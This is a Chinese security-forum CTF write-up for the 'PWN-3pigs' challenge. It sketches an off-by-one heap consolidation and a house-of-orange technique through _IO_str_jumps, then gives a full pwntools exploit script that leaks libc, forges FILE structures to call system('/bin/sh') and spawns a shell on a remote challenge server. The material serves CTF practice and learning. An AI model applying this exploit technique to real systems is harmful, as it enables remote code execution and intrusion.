首页
社区
课程
招聘
[原创] 第十一题 PWN-3pigs WriteUp
2018-7-8 10:10 2612

[原创] 第十一题 PWN-3pigs WriteUp

2018-7-8 10:10
2612

这个题是修改自一个出现过很多次的题:
https://www.xctf.org.cn/library/details/hitb-quals-2018/#3pigs

 

思路是一样的,通过off by one再free掉来合并堆块,使得top chunk的大小小幅度缩减,多次操作后让top chunk的大小降到0x80以下,再分配一个会得到0x60的unsorted bin,使用secret功能进行覆写,然后使用house of orange的打法。所不同的地方就是secret的触发和top chunk的大小调整的次数,需要进行多次调试。打house of orange的方法是无堆地址的打法,利用的是io_str_jumps.

 

exp:

#!/usr/bin/env python
# encoding: utf-8


from pwn import *

#context(log_level = 'debug')
libc = ELF("./libc.so.6")

#p = process('./3pigs',env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('139.199.99.130', 8989)

def alloc(num, buf):
    p.sendline('1')
    p.recvuntil('num:')
    p.sendline(str(num))
    p.recvuntil('data:')
    p.sendline(buf)
    p.recvuntil('Success')

def free(index):
    p.sendline('2')
    p.recvuntil('num:')
    p.sendline(str(index))
    p.recvuntil('Success')

def show():
    p.sendline('3')
    return p.recvuntil('Success')

def secret():
    p.sendline('4')
    p.recvuntil('secret:')
    p.sendline('UOTp%I<S')

def read_secret(buf):
    p.sendline('5')
    p.recvuntil('data:')
    p.sendline(buf)

def leak():
    global io_list_all, libc_addr
    alloc(0,"0")
    alloc(1,"1")
    free(0)
    alloc(2,"2")
    ret = show()
    tmp = ret.split("Small Li")[1].strip()
    print tmp
    tmp = tmp.split("|")
    addr = tmp[0]
    addr = addr.ljust(8,'\x00')
    addr = u64(addr)
    usbin_addr = addr
    print hex(addr)
    io_list_all = usbin_addr + 0x9a8
    libc_addr = addr - (0x7f3950030b78-0x7f394fc6c000)
    free(1)
    free(2)

def cleantop():
    alloc(0,"0"*0xb8)
    alloc(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) * 3 + "\x00"*0x8)
    alloc(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr))
    free(1)
    free(2)
    free(0)

def cleantop2():
    alloc(0,"0"*0xb8)
    alloc(2,"2")
    free(0)
    free(2)

    alloc(1,"4")
    secret()
    alloc(2,"5")
    free(2)
    free(1)

    read_secret(p64(0) + p64(io_list_all-0x10)[:-1])

if __name__=='__main__':
    leak()
    log.success('libc_addr: %s'%(hex(libc_addr)))
    system_addr = libc_addr + libc.symbols['system']
    io_str_jumps = libc_addr + libc.symbols['_IO_file_jumps'] + 0xc0
    binsh_addr = libc_addr + 1625431

    log.success("io_addr: %s"%(hex(io_list_all)))
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("binsh_addr: %s"%(hex(binsh_addr)))
    log.success("strjump_addr: %s"%(hex(io_str_jumps)))
    for i in xrange(512):
        cleantop()
        print i
    cleantop2()
    #p.interactive()
    p.sendline("1\n1\n")

    p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回